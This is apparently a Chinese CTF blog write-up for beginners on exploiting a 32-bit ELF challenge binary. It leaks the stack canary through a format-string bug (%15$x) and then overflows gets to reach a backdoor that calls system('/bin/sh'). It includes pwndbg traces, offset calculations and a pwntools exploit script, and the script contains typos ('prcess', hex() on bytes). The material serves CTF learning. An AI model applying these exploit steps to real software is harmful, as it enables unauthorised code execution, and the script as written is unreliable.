使用格式化字符串漏洞绕过Canary保护(32位ELF)萌新篇

点击下载例题

做题步骤

检查文件保护

在这里插入图片描述
32位文件,开启了NX和Canary保护
先介绍一下保护
NX: NX即No-eXecute(不可执行)的意思,NX(DEP)的基本原理是将数据所在内存页标识为不可执行,当程序溢出成功转入shellcode时,程序会尝试在数据页面上执行指令,此时CPU就会抛出异常,而不是去执行恶意指令。
Canary: 这个选项表示栈保护功能有没有开启。
栈溢出保护是一种缓冲区溢出攻击缓解手段,当函数存在缓冲区溢出攻击漏洞时,攻击者可以覆盖栈上的返回地址来shellcode能够得到执行。当启用栈保护后,函数开始执行的时候会先往栈里插入cookie信息,当函数真正返回的时候会验证cookie信息是否合法,如果不合法就停止程序运行。攻击者在覆盖返回地址的时候往往也会将cookie信息给覆盖掉,导致栈保护检查失败而阻止shellcode的执行。在Linux中我们将cookie信息称为canary。原理是在一个函数的入口,先从fs/gs寄存器中取出一个四字节(eax)或者八字节的rax的值存在栈上(最低位都是\x00),当函数结束是会检查这个栈上的值是否和存在去的值一致,若一致则正常退出,如果是栈溢出或者其他原因导致canary的值发生变化,那么程序就会执行___stack_chk_fali函数,继而保护程序
在这里插入图片描述

绕过方法

printf属于可变参数函数,函数调用者可以指定参数和数量,这样我是漏洞产生的原因

ida查看

在这里插入图片描述
漏洞:printf(格式化字符串漏洞)和易导致栈溢出的函数gets
同时返现后门函数sys(“/bin/sh”)
在这里插入图片描述**思路:**先覆盖canary处的值,添上canary的值,然后覆盖至canary_protect_me处,getshell。
首先,在printf函数处下断点,看字符串在堆栈中的位置

pwndbg> b printf
Breakpoint 1 at 0x80483e0
pwndbg> r
Starting program: /home/fanfan/Desktop/Basic question type/binary_200 
aaaa

Breakpoint 1, __printf (format=0xffffd494 "aaaa") at printf.c:28
28	printf.c: 没有那个文件或目录.
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
────────────[ REGISTERS / show-flags off / show-compact-regs off ]─────────────
*EAX  0xffffd494 ◂— 'aaaa'
 EBX  0x0
*ECX  0xf7fb3580 (_IO_2_1_stdin_) ◂— 0xfbad2288
*EDX  0xffffd498 —▸ 0x804a000 (_GLOBAL_OFFSET_TABLE_) —▸ 0x8049f14 (_DYNAMIC) ◂— 0x1
*EDI  0xf7fb3000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1ead6c
*ESI  0xf7fb3000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1ead6c
*EBP  0xffffd4c8 ◂— 0x0
*ESP  0xffffd47c —▸ 0x80485d8 (main+119) ◂— lea eax, [esp + 0x14]
*EIP  0xf7e182b0 (printf) ◂— endbr32 
──────────────────────[ DISASM / i386 / set emulate on ]───────────────────────
 ► 0xf7e182b0 <printf>       endbr32 
   0xf7e182b4 <printf+4>     call   __x86.get_pc_thunk.ax                    <__x86.get_pc_thunk.ax>
 
   0xf7e182b9 <printf+9>     add    eax, 0x19ad47
   0xf7e182be <printf+14>    sub    esp, 0xc
   0xf7e182c1 <printf+17>    lea    edx, [esp + 0x14]
   0xf7e182c5 <printf+21>    push   0
   0xf7e182c7 <printf+23>    push   edx
   0xf7e182c8 <printf+24>    push   dword ptr [esp + 0x18]
   0xf7e182cc <printf+28>    mov    eax, dword ptr [eax - 0x74]
   0xf7e182d2 <printf+34>    push   dword ptr [eax]
   0xf7e182d4 <printf+36>    call   __vfprintf_internal                    <__vfprintf_internal>
───────────────────────────────────[ STACK ]───────────────────────────────────
00:0000│ esp 0xffffd47c —▸ 0x80485d8 (main+119) ◂— lea eax, [esp + 0x14]
01:0004│     0xffffd480 —▸ 0xffffd494 ◂— 'aaaa'
02:0008│     0xffffd484 ◂— 0x0
03:000c│     0xffffd488 ◂— 0x1
04:0010│     0xffffd48c ◂— 0x0
05:0014│     0xffffd490 —▸ 0xf7fb33fc (__exit_funcs) —▸ 0xf7fb4180 (initial) ◂— 0x0
06:0018│ eax 0xffffd494 ◂— 'aaaa'
07:001c│ edx 0xffffd498 —▸ 0x804a000 (_GLOBAL_OFFSET_TABLE_) —▸ 0x8049f14 (_DYNAMIC) ◂— 0x1
─────────────────────────────────[ BACKTRACE ]─────────────────────────────────
 ► f 0 0xf7e182b0 printf
   f 1 0x80485d8 main+119
   f 2 0xf7de2ed5 __libc_start_main+245

尝试打印该地址的内存

pwndbg> x/20wx 0xffffd480
0xffffd480:	0xffffd494	0x00000000	0x00000001	0x00000000
0xffffd490:	0xf7fb33fc	0x61616161	0x0804a000	0x08048652
0xffffd4a0:	0x00000001	0xffffd564	0xffffd56c	0xf7dfc469
0xffffd4b0:	0xf7fe22b0	0x00000000	0x0804860b	0x7a439500
0xffffd4c0:	0xf7fb3000	0xf7fb3000	0x00000000	0xf7de2ed5

从0x00000000开始,确定字符串的偏移量为5

结合汇编看一下
在这里插入图片描述
可以得到寄存器edx(esp+3Ch)里存放的是Canary的值:

 EAX  0x0
 EBX  0x0
*ECX  0xffffffff
*EDX  0x438e0b00
*EDI  0xf7fb3000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1ead6c
*ESI  0xf7fb3000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1ead6c
*EBP  0xffffd4c8 ◂— 0x0
*ESP  0xffffd480 —▸ 0xffffd494 ◂— 0x61616100
*EIP  0x80485ed (main+140) ◂— xor edx, dword ptr gs:[0x14]

在上边查看,可以得出canary偏移量为15,所以在第一次gets时发送%15$x就会(printf)泄露canary的值
然后我们来确定第一次gets到canary的偏移,我们知道[esp+0x3c]即v5处处存放canary的随机参数,在IDA中我们分别进入v5和第一个&s,发现偏移40
在这里插入图片描述

EAX  0x0
 EBX  0x0
*ECX  0xffffffff
*EDX  0x438e0b00
*EDI  0xf7fb3000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1ead6c
*ESI  0xf7fb3000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1ead6c
*EBP  0xffffd4c8 ◂— 0x0
*ESP  0xffffd480 —▸ 0xffffd494 ◂— 0x61616100
*EIP  0x80485ed (main+140) ◂— xor edx, dword ptr gs:[0x14]

然后我们通过上边查看,图中已经有了esp和ebp的地址,我们可以算出v5=[esp+0x3c]=ffffd4d0,v5的偏移量=ebp-v5,结果为12

exp
from pwn import *
p = prcess('./binary_200')
system_addr = 0x0804854d
p.sendline('%15$x')
canary = int(p.recv(),16)
print(hex(canary))
payload = b'a'*40+p32(canary)+b'a'*12 +p32(system_addr)
print(hex(payload))
print(payload)
p.sendline(payload)
p.interactive()

getshell

  • 1
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
您的问题是关于利用格式化漏洞泄露canary并利用ROP执行shell的问题。 首先,格式化漏洞是一种常见的安全漏洞,可以通过控制格式化字符串的方式来读取和修改内存中的数据。其中,canary是一种用于防御缓冲区溢出攻击的机制,它会在程序的栈上插入一个随机值,并在程序退出时检查该值是否被修改,以此来检测是否发生了缓冲区溢出攻击。 利用格式化漏洞泄露canary的一般思路是通过格式化字符串的方式来读取栈上的数据,包括canary的值,然后利用这个值来构造一个假的栈帧,绕过canary的检测。具体实现上,可以使用类似于%lx的格式化字符串来读取栈上的数据。 接下来,利用ROP执行shell的一般思路是通过利用程序中已有的代码段来构造一个ROP链,以此来执行一段自己构造的代码。这个过程需要先找到程序中已有的可用代码段,然后将这些代码段的地址和参数压入栈中,最终利用ret指令来跳转到这些代码段的地址,以此来执行一段自己构造的代码。具体实现上,可以使用一些ROP工具来辅助构造ROP链,比如ROPgadget、ROPtool等。 需要注意的是,利用格式化漏洞和ROP执行shell都是一些高级的安全攻击技术,需要有深入的理解和实践经验。同时,这些攻击技术也可能会被防御措施所阻挡,因此在实际攻击中需要根据具体情况来选择合适的攻击方法。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值